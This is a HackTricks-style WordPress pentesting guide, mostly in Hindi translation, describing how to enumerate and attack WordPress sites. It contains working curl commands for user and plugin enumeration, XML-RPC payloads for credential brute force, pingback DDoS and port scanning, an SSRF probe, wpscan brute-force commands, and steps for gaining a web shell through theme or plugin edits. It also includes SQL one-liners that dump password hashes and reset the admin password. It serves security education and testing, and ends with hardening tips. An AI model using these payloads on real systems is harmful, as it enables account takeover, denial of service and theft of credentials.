Wordpress

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php Another useful url could be: /wp-content/themes/default/404.php

In wp-config.php you can find the root password of the database.

Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php

  • license.txt contains useful information such as the version WordPress installed.

  • wp-activate.php is used for the email activation process when setting up a new WordPress site.

  • Login folders (may be renamed to hide it):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.

  • The wp-content folder is the main directory where plugins and themes are stored.

  • wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.

  • wp-includes/ This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.

  • wp-sitemap.xml In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.

Post exploitation

  • The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Users Permissions

  • Administrator

  • Editor: Publish and manages his and others posts

  • Author: Publish and manage his own posts

  • Contributor: Write and manage his posts but cannot publish them

  • Subscriber: Browser posts and edit their profile

Passive Enumeration

Get WordPress version

Check if you can find the files /license.txt or /readme.html

Inside the source code of the page (example from https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS लिंक फ़ाइलें

  • JavaScript फ़ाइलें

प्लगइन्स प्राप्त करें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

थीम प्राप्त करें

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सामान्य रूप से संस्करण निकालें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें। आज ही एक्सेस प्राप्त करें:

सक्रिय गणना

प्लगइन्स और थीम

आप शायद सभी प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)।

उपयोगकर्ता

आईडी ब्रूट

आप एक वर्डप्रेस साइट से उपयोगकर्ता आईडी को ब्रूट फोर्स करके मान्य उपयोगकर्ता प्राप्त करते हैं:

curl -s -I -X GET http://blog.example.com/?author=1

यदि प्रतिक्रियाएँ 200 या 30X हैं, तो इसका मतलब है कि आईडी मान्य है। यदि प्रतिक्रिया 400 है, तो आईडी अमान्य है।

wp-json

आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए भी क्वेरी कर सकते हैं:

curl http://blog.example.com/wp-json/wp/v2/users

एक और /wp-json/ एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

ध्यान दें कि यह एंडपॉइंट केवल उन उपयोगकर्ताओं को उजागर करता है जिन्होंने एक पोस्ट बनाई है। केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके पास यह सुविधा सक्षम है

यह भी ध्यान दें कि /wp-json/wp/v2/pages आईपी पते लीक कर सकता है।

लॉगिन उपयोगकर्ता नाम गणना

जब /wp-login.php में लॉगिन करते हैं तो संदेश विभिन्न होता है यदि निर्दिष्ट उपयोगकर्ता नाम मौजूद है या नहीं

XML-RPC

यदि xml-rpc.php सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं इसका उपयोग करके उदाहरण के लिए)।

यह देखने के लिए कि क्या यह सक्रिय है, /xmlrpc.php पर पहुंचने का प्रयास करें और यह अनुरोध भेजें:

जांचें

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

क्रेडेंशियल्स ब्रूटफोर्स

wp.getUserBlogs, wp.getCategories या metaWeblog.getUsersBlogs कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

संदेश "गलत उपयोगकर्ता नाम या पासवर्ड" 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।

सही क्रेडेंशियल का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

2FA को बायपास करें

यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास मान्य क्रेडेंशियल हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल के साथ 2FA को बायपास करते हुए लॉगिन करने में सक्षम हो सकते हैं। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्य नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाता है।

DDoS या पोर्ट स्कैनिंग

यदि आप सूची के अंदर pingback.ping विधि पा सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं। इसका उपयोग हजारों Wordpress साइटों से एक स्थान (तो उस स्थान पर DDoS उत्पन्न होता है) एक्सेस करने के लिए किया जा सकता है या आप इसका उपयोग Wordpress को कुछ आंतरिक नेटवर्क को स्कैन करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

यदि आपको faultCode एक मान 0 (17) से बड़ा मिलता है, तो इसका मतलब है कि पोर्ट खुला है।

इस विधि का दुरुपयोग करने के लिए system.multicall के पिछले अनुभाग का उपयोग देखें ताकि DDoS का कारण बन सकें।

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

यह फ़ाइल आमतौर पर वर्डप्रेस साइट की जड़ के तहत मौजूद होती है: /wp-cron.php जब इस फ़ाइल को एक्सेस किया जाता है, तो एक "भारी" MySQL क्वेरी निष्पादित होती है, इसलिए इसे हमलावरों द्वारा DoS कारण के लिए उपयोग किया जा सकता है। इसके अलावा, डिफ़ॉल्ट रूप से, wp-cron.php हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई वर्डप्रेस पृष्ठ अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।

Wp-Cron को अक्षम करना और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाना जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए) की सिफारिश की जाती है।

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net तक पहुँचने का प्रयास करें और वर्डप्रेस साइट आपसे अनुरोध कर सकती है।

जब यह काम नहीं करता है तो यह प्रतिक्रिया है:

SSRF

यह उपकरण जांचता है कि methodName: pingback.ping और पथ /wp-json/oembed/1.0/proxy है और यदि यह मौजूद है, तो यह उन्हें शोषण करने का प्रयास करता है।

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें। आज ही एक्सेस प्राप्त करें:

थोड़ा ओवरराइट करके एक्सेस प्राप्त करें

यह वास्तव में एक हमला नहीं है, बल्कि एक जिज्ञासा है। CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते हैं। इसलिए आप फ़ाइल /var/www/html/wp-includes/user.php के 5389 स्थिति को पलट सकते हैं ताकि NOT (!) ऑपरेशन को NOP किया जा सके।

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

पैनल RCE

थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)

दृश्यता → थीम संपादक → 404 टेम्पलेट (दाईं ओर)

एक php शेल के लिए सामग्री बदलें:

इंटरनेट पर खोजें कि आप उस अपडेटेड पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में, आपको यहाँ पहुँचने की आवश्यकता है: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

आप उपयोग कर सकते हैं:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

यह संभव है कि आप एक प्लगइन के रूप में .php फ़ाइलें अपलोड कर सकें। उदाहरण के लिए, अपने php बैकडोर को बनाएं:

फिर एक नया प्लगइन जोड़ें:

प्लगइन अपलोड करें और अभी इंस्टॉल करें पर क्लिक करें:

प्रोसीड पर क्लिक करें:

संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप मीडिया पर जाते हैं, तो आप देखेंगे कि आपका शेल अपलोड हो गया है:

इसका उपयोग करें और आप रिवर्स शेल निष्पादित करने के लिए URL देखेंगे:

Uploading and activating malicious plugin

यह विधि एक ज्ञात कमजोरियों वाले दुर्भावनापूर्ण प्लगइन की स्थापना से संबंधित है और इसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया वर्डप्रेस डैशबोर्ड के माध्यम से इस प्रकार की जाती है:

  1. Plugin Acquisition: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे यहाँ

  2. Plugin Installation:

  • वर्डप्रेस डैशबोर्ड पर जाएं, फिर Dashboard > Plugins > Upload Plugin पर जाएं।

  • डाउनलोड किए गए प्लगइन की ज़िप फ़ाइल अपलोड करें।

  1. Plugin Activation: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।

  2. Exploitation:

  • "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह ज्ञात है कि यह कमजोर है।

  • मेटास्प्लॉइट फ्रेमवर्क इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।

  • यह नोट किया गया है कि यह वर्डप्रेस साइट का शोषण करने के लिए कई तरीकों में से एक है।

सामग्री में वर्डप्रेस डैशबोर्ड में प्लगइन स्थापित करने और सक्रिय करने के चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।

अधिक विस्तृत चरणों के लिए देखें: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike एक स्क्रिप्ट है जिसे Cross-Site Scripting (XSS) कमजोरी को Remote Code Execution (RCE) या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए इस पोस्ट की जांच करें। यह Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:

  • Privilege Escalation: वर्डप्रेस में एक उपयोगकर्ता बनाता है।

  • (RCE) Custom Plugin (backdoor) Upload: अपने कस्टम प्लगइन (बैकडोर) को वर्डप्रेस में अपलोड करें।

  • (RCE) Built-In Plugin Edit: वर्डप्रेस में एक अंतर्निहित प्लगइन को संपादित करें।

  • (RCE) Built-In Theme Edit: वर्डप्रेस में एक अंतर्निहित थीम को संपादित करें।

  • (Custom) Custom Exploits: तृतीय-पक्ष वर्डप्रेस प्लगइन्स/थीम के लिए कस्टम शोषण।

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

प्रशासक पासवर्ड बदलें:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और इस ब्लॉग पोस्ट में कुछ कमजोर प्लगइनों के उदाहरण।

  • wp_ajax

एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है (इसके भूमिका के स्वतंत्र)।

ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।

इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जांच कर रहा है wp_verify_nonce फ़ंक्शन के साथ, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।

  • REST API

यह register_rest_route फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शन को उजागर करना भी संभव है:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback एक ऐसा कॉलबैक फ़ंक्शन है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।

यदि अंतर्निहित __return_true फ़ंक्शन का उपयोग किया जाता है, तो यह बस उपयोगकर्ता अनुमतियों की जांच को छोड़ देगा।

  • php फ़ाइल तक सीधी पहुँच

बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।

WordPress सुरक्षा

नियमित अपडेट

सुनिश्चित करें कि WordPress, प्लगइन्स और थीम अद्यतित हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, केवल विश्वसनीय WordPress प्लगइन्स और थीम्स स्थापित करें

सुरक्षा प्लगइन्स

अन्य सिफारिशें

  • डिफ़ॉल्ट admin उपयोगकर्ता को हटाएं

  • मजबूत पासवर्ड और 2FA का उपयोग करें

  • समय-समय पर उपयोगकर्ताओं की अनुमतियों की समीक्षा करें

  • Brute Force हमलों को रोकने के लिए लॉगिन प्रयासों की संख्या सीमित करें

  • wp-admin.php फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।

Trickest का उपयोग करें ताकि आप आसानी से वर्कफ़्लोज़ बना और स्वचालित कर सकें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हैं। आज ही एक्सेस प्राप्त करें:

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated